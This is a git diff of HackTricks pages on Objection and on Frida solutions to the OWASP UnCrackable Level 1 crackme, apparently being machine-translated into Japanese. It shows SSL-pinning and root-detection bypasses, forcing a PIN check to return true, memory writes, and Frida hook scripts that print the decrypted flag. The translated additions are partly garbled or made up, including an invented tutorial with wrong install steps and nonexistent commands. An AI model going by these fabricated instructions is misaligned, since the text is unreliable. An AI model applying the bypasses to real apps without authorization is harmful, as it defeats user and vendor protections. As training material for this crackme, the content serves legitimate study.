+frida-server -D +``` + +Once the Frida server is running, you can connect to the target device using Objection: + +```plaintext +objection -g : +``` + +Objectionの使用方法 + +Objectionを使用するには、まず対象デバイスでFridaサーバーを起動する必要があります。次のコマンドを実行することでこれを行うことができます。 + +```plaintext +frida-server -D +``` + +Fridaサーバーが実行されている場合、Objectionを使用して対象デバイスに接続できます。 + +```plaintext +objection -g : +``` + +#### Objection Features + +Objection provides a wide range of features to assist in mobile app pentesting. Some of the key features include: + +- **SSL Pinning Bypass**: Objection can bypass SSL pinning in Android and iOS apps, allowing you to intercept and modify network traffic. +- **Runtime Manipulation**: Objection allows you to manipulate the runtime behavior of an app, such as modifying method return values or hooking methods to perform custom actions. +- **Code Injection**: Objection supports code injection, allowing you to inject custom code into an app's runtime environment. +- **Data Exploration**: Objection provides commands to explore an app's internal structure, such as listing loaded classes, invoking methods, and inspecting objects. +- **Automatic Hooking**: Objection can automatically hook methods in an app, making it easier to intercept function calls and modify their behavior. + +Objectionの機能 + +Objectionは、モバイルアプリのペントestingを支援するさまざまな機能を提供しています。主な機能には以下があります。 + +- **SSLピニングバイパス**:ObjectionはAndroidとiOSアプリでSSLピニングをバイパスし、ネットワークトラフィックを傍受して変更することができます。 +- **ランタイムの操作**:Objectionを使用すると、アプリのランタイム動作を操作することができます。たとえば、メソッドの返り値を変更したり、カスタムアクションを実行するためにメソッドをフックしたりすることができます。 +- **コードインジェクション**:Objectionはコードインジェクションをサポートしており、カスタムコードをアプリのランタイム環境に注入することができます。 +- **データの調査**:Objectionは、ロードされたクラスのリスト表示、メソッドの呼び出し、オブジェクトの検査など、アプリの内部構造を調査するためのコマンドを提供しています。 +- **自動フック**:Objectionはアプリ内のメソッドを自動的にフックすることができ、関数呼び出しを傍受し、動作を変更することが容易になります。 ``` frida ``` - ![](<../../../.gitbook/assets/image (65).png>) -#### Upload/Download - +#### アップロード/ダウンロード ```bash file download [] file upload [] ``` +#### Fridaスクリプトのインポート -#### Import frida script +```javascript +const script = await Session.createScript(` + // Your Frida script code here +`); +``` +Fridaスクリプトをインポートするためのコードです。 + +```javascript +const script = await Session.createScript(` + // ここにFridaスクリプトのコードを記述します +`); +``` ```bash import ``` +#### SSLピニング -#### SSLPinning +SSLPinningは、Androidアプリのセキュリティ機能の一つです。SSLピニングは、アプリが通信するサーバーの証明書を事前に指定し、その証明書以外のものを受け入れないようにします。これにより、中間者攻撃や証明書の偽造などのセキュリティリスクを軽減することができます。 +SSLPinningをバイパスするためには、Fridaというツールを使用することができます。Fridaは、アプリのランタイムをダイナミックに変更することができる強力なツールです。ObjectionというFridaのプラグインを使用すると、簡単にSSLピニングをバイパスすることができます。 + +以下のコマンドを使用して、Objectionをインストールします。 + +``` +pip install objection +``` + +Objectionを使用すると、アプリの実行中にSSLピニングをバイパスすることができます。以下のコマンドを使用して、Objectionを起動します。 + +``` +objection explore +``` + +Objectionが起動したら、以下のコマンドを使用してSSLピニングをバイパスします。 + +``` +android sslpinning disable +``` + +これにより、アプリがSSLピニングを無効化し、通信先のサーバーの証明書を検証しなくなります。ただし、SSLピニングをバイパスすることはセキュリティ上のリスクを伴うため、慎重に行う必要があります。 + +以上がSSLピニングについての簡単な説明と、Objectionを使用してSSLピニングをバイパスする方法です。 ```bash android sslpinning disable #Attempts to disable SSL Pinning on Android devices. ``` +#### ルート検出 -#### Root detection +Root検出は、Androidアプリがルート化されたデバイス上で実行されているかどうかを検出するための技術です。ルート化されたデバイスでは、アプリが通常よりも高い特権を持つことができ、セキュリティ上のリスクが増加します。アプリ開発者は、ルート化されたデバイス上でアプリが実行されることを防ぐために、ルート検出メカニズムを実装することがあります。 +Root検出は、さまざまな方法で実装することができます。一般的な手法には、ファイルの存在チェック、システムプロパティのチェック、バイナリの署名チェックなどがあります。これらの手法は、アプリがルート化されたデバイス上で実行されているかどうかを判断するために使用されます。 + +ルート検出は、アプリのセキュリティを向上させるために重要な役割を果たします。ルート化されたデバイス上でアプリが実行されることは、攻撃者にとっては便利な手段となります。したがって、アプリ開発者は、ルート検出メカニズムを実装することで、アプリのセキュリティを強化することが求められます。 ```bash android root disable #Attempts to disable root detection on Android devices. android root simulate #Attempts to simulate a rooted Android environment. ``` +#### Execコマンド -#### Exec Command +The `exec` command in Objection allows you to execute arbitrary shell commands on the target Android device. This can be useful for performing various actions during a mobile penetration test. +To use the `exec` command, you need to have a Frida session established with the target application. Once you have a session, you can run the following command: + +``` +objection> exec +``` + +Replace `` with the shell command you want to execute. For example, if you want to list the files in the current directory, you can use the `ls` command: + +``` +objection> exec ls +``` + +The output of the command will be displayed in the Objection console. + +It's important to note that the `exec` command runs the shell command on the target device, not on your local machine. This means that you can execute commands that are specific to the target device's operating system. + +Be cautious when using the `exec` command, as executing certain commands can have unintended consequences or may be considered malicious. Always ensure that you have proper authorization and follow ethical guidelines when performing mobile penetration testing. ```bash android shell_exec whoami ``` +#### スクリーンショット -#### Screenshots +```html +Screenshot 1 +Screenshot 2 +``` +#### スクリーンショット + +```html +スクリーンショット 1 +スクリーンショット 2 +``` ```bash android ui screenshot /tmp/screenshot android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys ``` +### 静的解析を動的に行う -### Static analysis made Dynamic +実際のアプリケーションでは、**静的解析**によってこの部分で発見された情報をすべて把握してから、objectionを使用する必要があります。とはいえ、ここではクラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか持っていないため、**新しい情報**が見つかるかもしれません。 -In a real application we should know all of the information discovered in this part before using objection thanks to **static analysis**. Anyway, this way maybe you can see **something new** as here you will only have a complete list of classes, methods and exported objects. - -This is also usefull if somehow you are **unable to get some readable source code** of the app. - -#### List activities, receivers and services +また、アプリの**読みやすいソースコードを取得できない**場合にも役立ちます。 +#### アクティビティ、レシーバー、およびサービスのリストを表示する ``` android hooking list activities ``` - ![](<../../../.gitbook/assets/image (78).png>) +# Objection Tutorial + +Objection is a runtime mobile exploration toolkit, powered by Frida. It allows you to perform various tasks on Android devices, such as: + +- Bypassing SSL pinning +- Interacting with the application's SQLite database +- Manipulating method return values +- Hooking and tampering with method calls +- Inspecting and modifying network requests +- Decrypting encrypted traffic +- And much more! + +In this tutorial, we will cover the basics of using Objection to perform runtime analysis and manipulation of Android applications. + +## Prerequisites + +Before we begin, make sure you have the following: + +- A rooted Android device or an emulator +- Frida Server installed on the device +- Objection installed on your local machine + +## Installing Frida Server + +To install Frida Server on your Android device, follow these steps: + +1. Download the latest version of Frida Server from the official Frida releases page. +2. Transfer the downloaded file to your Android device. +3. Open a terminal and navigate to the directory where the Frida Server file is located. +4. Install the Frida Server APK by running the following command: + +```plaintext +adb install frida-server-.apk +``` + +5. Start the Frida Server by running the following command: + +```plaintext +adb shell su -c "frida-server" +``` + +## Installing Objection + +To install Objection on your local machine, follow these steps: + +1. Install Node.js if you haven't already. +2. Open a terminal and run the following command to install Objection: + +```plaintext +npm install -g objection +``` + +## Connecting to the Device + +To connect Objection to your Android device, follow these steps: + +1. Make sure the Frida Server is running on your device. +2. Connect your device to your local machine using a USB cable. +3. Open a terminal and run the following command to start the Objection console: + +```plaintext +objection +``` + +4. Once the console is open, run the following command to connect to the device: + +```plaintext +android connect +``` + +## Basic Usage + +Now that you are connected to the device, you can start using Objection to perform various tasks. Here are some basic commands to get you started: + +- `help`: Display the available commands and their descriptions. +- `ios`: Switch to iOS mode (if you have an iOS device connected). +- `exit`: Exit the Objection console. + +## Conclusion + +In this tutorial, we have learned how to install and use Objection for runtime analysis and manipulation of Android applications. Objection provides a powerful set of tools for mobile pentesting and can be used to perform a wide range of tasks. Experiment with the different features of Objection to discover its full potential. Happy hacking! ``` android hooking list services android hooking list receivers ``` +Fridaは、見つからない場合にエラーを発生させます。 -Frida will launch an error if none is found - -#### Getting current activity - +#### 現在のアクティビティの取得 ``` android hooking get current_activity ``` +#### クラスの検索 -![](<../../../.gitbook/assets/image (73) (1).png>) - -#### Search Classes - -Lets start looking for classes inside our application - +アプリケーション内のクラスを検索しましょう。 ``` android hooking search classes asvid.github.io.fridaapp ``` - ![](<../../../.gitbook/assets/image (69).png>) -#### Search Methods of a class - -Now lets extract the methods inside the class _MainActivity:_ +#### クラスの検索方法 +では、クラス_MainActivity_内のメソッドを抽出してみましょう。 ``` android hooking search methods asvid.github.io.fridaapp MainActivity ``` - ![](<../../../.gitbook/assets/image (70) (1).png>) -#### List declared Methods of a class with their parameters - -Lets figure out wich parameters does the methods of the class need: +#### クラスの宣言されたメソッドとそのパラメータの一覧 +クラスのメソッドがどのようなパラメータを必要とするかを調べましょう: ``` android hooking list class_methods asvid.github.io.fridaapp.MainActivity ``` - ![](<../../../.gitbook/assets/image (79).png>) -#### List classes - -You could also list all the classes that were loaded inside the current applicatoin: +#### クラスの一覧表示 +現在のアプリケーション内でロードされたすべてのクラスを一覧表示することもできます。 ``` android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` +これは、クラスのメソッドをフックしたいが、クラスの名前しか知らない場合に非常に便利です。この関数を使用して、クラスを所有するモジュールを検索し、そのメソッドをフックすることができます。 -This is very useful if you want to **hook the method of a class and you only know the name of the class**. You coul use this function to **search which module owns the class** and then hook its method. +### フックは簡単です -### Hooking being easy - -#### Hooking (watching) a method - -From the [source code](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) of the application we know that the **function** _**sum()**_ **from** _**MainActivity**_ is being run **every second**. Lets try to **dump all possible information** each time the function is called (arguments, return value and backtrace): +#### メソッドのフック(監視) +アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、_MainActivity_ の **_sum()_** 関数が **1秒ごとに実行**されていることがわかります。関数が呼び出されるたびに(引数、戻り値、バックトレースを含む)**可能な情報をすべてダンプ**してみましょう。 ``` android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return ``` - ![](<../../../.gitbook/assets/image (71).png>) -#### Hooking (watching) an entire class - -Actually I find all the methods of the class MainActivity really interesting, lets **hook them all**. Be careful, this could **crash** an application. +#### クラス全体のフック(監視) +実際には、MainActivityクラスのすべてのメソッドが非常に興味深いと思いますので、**すべてのメソッドをフック**してみましょう。ただし、これはアプリケーションを**クラッシュ**させる可能性があるため、注意が必要です。 ``` android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` - -If you play with the application while the class is hooked you will see when **each function is being called**, its **arguments** and the **return** value. +アプリケーションを操作すると、クラスがフックされているときに、**各関数が呼び出される**タイミング、**引数**、および**戻り値**が表示されます。 ![](<../../../.gitbook/assets/image (72).png>) -#### Changing boolean return value of a function +#### 関数の真偽値の返り値を変更する -From the source code you can see that the function _checkPin_ gets a _String_ as argument and returns a _boolean_. Lets make the function **always return true**: +ソースコードから、関数_checkPin_は引数として_String_を受け取り、_boolean_を返すことがわかります。関数を**常にtrueを返すように**します。 ![](<../../../.gitbook/assets/image (74).png>) -Now, If you write anything in the text box for the PIN code you will see tat anything is valid: +これで、PINコードのテキストボックスに何かを入力すると、何でも有効であることがわかります。 ![](<../../../.gitbook/assets/image (77).png>) -### Class instances - -Search for and print **live instances of a specific Java class**, specified by a fully qualified class name. Out is the result of an attempt at getting a string value for a discovered objection which would typically **contain property values for the object**. +### クラスのインスタンス +特定のJavaクラスの**ライブインスタンス**を検索し、出力は通常、オブジェクトのプロパティ値を**含む発見されたobjectionの文字列値**を取得しようとした結果です。 ``` android heap print_instances ``` - ![](<../../../.gitbook/assets/image (80).png>) ### Keystore/Intents -You can play with the keystore and intents using: - +キーストアとインテントを使用して遊ぶことができます。以下のコマンドを使用します。 ``` android keystore list android intents launch_activity android intent launch_service ``` +#### メモリ -### Memory +##### ダンプ -#### Dump +```bash +# メモリダンプの作成 +objection -g com.example.app explore +memory dump dump.bin +``` +メモリダンプを作成するためのコマンドです。 ```bash memory dump all #Dump all memory memory dump from_base #Dump a part ``` - -#### List - +#### リスト ``` memory list modules ``` - ![](<../../../.gitbook/assets/image (66).png>) -At the bottom os the list you can see frida: +リストの一番下にはfridaがあります: ![](<../../../.gitbook/assets/image (67).png>) -Lets checks what is frida exporting: +fridaがエクスポートしているものを確認しましょう: ![](<../../../.gitbook/assets/image (68).png>) -#### Search/Write - -You can alse search and write inside memory with objection: +#### 検索/書き込み +objectionを使用してメモリ内で検索や書き込みもできます: ``` memory search "" (--string) (--offsets-only) memory write "
" "" (--string) ``` - ### SQLite -You cals can use the command `sqlite` to interact with sqlite databases. - -### Exit +SQLiteデータベースとのやり取りには、`sqlite`コマンドを使用できます。 +### 終了 ``` exit ``` +## Objectionで欠けているもの -## What I miss in Objection - -* The hooking methods sometimes crashes the application (this is also because of Frida). -* You can't use the instaces of the classes to call functions of the instance. And you can't create new instances of classes and use them to call functions. -* There isn't a shortcut (like the one for sslpinnin) to hook all the common crypto methods being used by the application to see cyphered text, plain text, keys, IVs and algorithms used. +* フックメソッドはアプリケーションをクラッシュさせることがあります(これはFridaのせいでもあります)。 +* クラスのインスタンスを使用してインスタンスの関数を呼び出すことはできません。また、新しいクラスのインスタンスを作成してそれらを使用して関数を呼び出すこともできません。 +* アプリケーションで使用されている一般的な暗号化メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを表示するためのショートカット(sslpinninのようなもの)はありません。 -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムのバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -302,10 +492,10 @@ exit ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index b4f66e16a..bd6c5665a 100644 --- a/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -1,20 +1,20 @@ -# Frida Tutorial 3 +# Fridaチュートリアル3
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-​If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +**ハッキングのキャリア**に興味がある方、**解読不可能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -26,116 +26,110 @@ **From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) -## Solution 1 +## 解決策1 -Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) - -**Hook the \_exit()**\_ function and **decrypt function** so it print the flag in frida console when you press verify: +[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。 +**\_exit()**\_関数と**復号化関数**をフックして、検証ボタンを押すとフラグがFridaコンソールに表示されるようにします。 ```javascript Java.perform(function () { - send("Starting hooks OWASP uncrackable1..."); +send("Starting hooks OWASP uncrackable1..."); - function getString(data){ - var ret = ""; - for (var i=0; i < data.length; i++){ - ret += "#" + data[i].toString(); - } - return ret - } +function getString(data){ +var ret = ""; +for (var i=0; i < data.length; i++){ +ret += "#" + data[i].toString(); +} +return ret +} - var aes_decrypt = Java.use("sg.vantagepoint.a.a"); - aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) { - send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding"); - send("Key : " + getString(var_0)); - send("Encrypted : " + getString(var_1)); - var ret = this.a.overload("[B","[B").call(this,var_0,var_1); - send("Decrypted : " + getString(ret)); +var aes_decrypt = Java.use("sg.vantagepoint.a.a"); +aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) { +send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding"); +send("Key : " + getString(var_0)); +send("Encrypted : " + getString(var_1)); +var ret = this.a.overload("[B","[B").call(this,var_0,var_1); +send("Decrypted : " + getString(ret)); - var flag = ""; - for (var i=0; i < ret.length; i++){ - flag += String.fromCharCode(ret[i]); - } - send("Decrypted flag: " + flag); - return ret; //[B - }; +var flag = ""; +for (var i=0; i < ret.length; i++){ +flag += String.fromCharCode(ret[i]); +} +send("Decrypted flag: " + flag); +return ret; //[B +}; - var sysexit = Java.use("java.lang.System"); - sysexit.exit.overload("int").implementation = function(var_0) { - send("java.lang.System.exit(I)V // We avoid exiting the application :)"); - }; +var sysexit = Java.use("java.lang.System"); +sysexit.exit.overload("int").implementation = function(var_0) { +send("java.lang.System.exit(I)V // We avoid exiting the application :)"); +}; - send("Hooks installed."); +send("Hooks installed."); }); ``` +## 解決策2 -## Solution 2 - -Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) - -**Hook rootchecks** and decrypt function so it print the flag in frida console when you press verify: +[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。 +**rootチェック**と**decrypt**関数をフックして、verifyボタンを押すとフラグがfridaコンソールに表示されるようにします。 ```javascript Java.perform(function () { - send("Starting hooks OWASP uncrackable1..."); +send("Starting hooks OWASP uncrackable1..."); - function getString(data){ - var ret = ""; - for (var i=0; i < data.length; i++){ - ret += "#" + data[i].toString(); - } - return ret - } +function getString(data){ +var ret = ""; +for (var i=0; i < data.length; i++){ +ret += "#" + data[i].toString(); +} +return ret +} - var aes_decrypt = Java.use("sg.vantagepoint.a.a"); - aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) { - send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding"); - send("Key : " + getString(var_0)); - send("Encrypted : " + getString(var_1)); - var ret = this.a.overload("[B","[B").call(this,var_0,var_1); - send("Decrypted : " + getString(ret)); +var aes_decrypt = Java.use("sg.vantagepoint.a.a"); +aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) { +send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding"); +send("Key : " + getString(var_0)); +send("Encrypted : " + getString(var_1)); +var ret = this.a.overload("[B","[B").call(this,var_0,var_1); +send("Decrypted : " + getString(ret)); - var flag = ""; - for (var i=0; i < ret.length; i++){ - flag += String.fromCharCode(ret[i]); - } - send("Decrypted flag: " + flag); - return ret; //[B - }; +var flag = ""; +for (var i=0; i < ret.length; i++){ +flag += String.fromCharCode(ret[i]); +} +send("Decrypted flag: " + flag); +return ret; //[B +}; - var rootcheck1 = Java.use("sg.vantagepoint.a.c"); - rootcheck1.a.overload().implementation = function() { - send("sg.vantagepoint.a.c.a()Z Root check 1 HIT! su.exists()"); - return false; - }; +var rootcheck1 = Java.use("sg.vantagepoint.a.c"); +rootcheck1.a.overload().implementation = function() { +send("sg.vantagepoint.a.c.a()Z Root check 1 HIT! su.exists()"); +return false; +}; - var rootcheck2 = Java.use("sg.vantagepoint.a.c"); - rootcheck2.b.overload().implementation = function() { - send("sg.vantagepoint.a.c.b()Z Root check 2 HIT! test-keys"); - return false; - }; +var rootcheck2 = Java.use("sg.vantagepoint.a.c"); +rootcheck2.b.overload().implementation = function() { +send("sg.vantagepoint.a.c.b()Z Root check 2 HIT! test-keys"); +return false; +}; - var rootcheck3 = Java.use("sg.vantagepoint.a.c"); - rootcheck3.c.overload().implementation = function() { - send("sg.vantagepoint.a.c.c()Z Root check 3 HIT! Root packages"); - return false; - }; +var rootcheck3 = Java.use("sg.vantagepoint.a.c"); +rootcheck3.c.overload().implementation = function() { +send("sg.vantagepoint.a.c.c()Z Root check 3 HIT! Root packages"); +return false; +}; - var debugcheck = Java.use("sg.vantagepoint.a.b"); - debugcheck.a.overload("android.content.Context").implementation = function(var_0) { - send("sg.vantagepoint.a.b.a(Landroid/content/Context;)Z Debug check HIT! "); - return false; - }; +var debugcheck = Java.use("sg.vantagepoint.a.b"); +debugcheck.a.overload("android.content.Context").implementation = function(var_0) { +send("sg.vantagepoint.a.b.a(Landroid/content/Context;)Z Debug check HIT! "); +return false; +}; - send("Hooks installed."); +send("Hooks installed."); }); ``` - - -
-​​If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、ハックできないものをハックしたいのであれば - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -143,10 +137,10 @@ Java.perform(function () { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 diff --git a/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index 2cee2106c..f85ff1dfa 100644 --- a/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -4,86 +4,112 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) 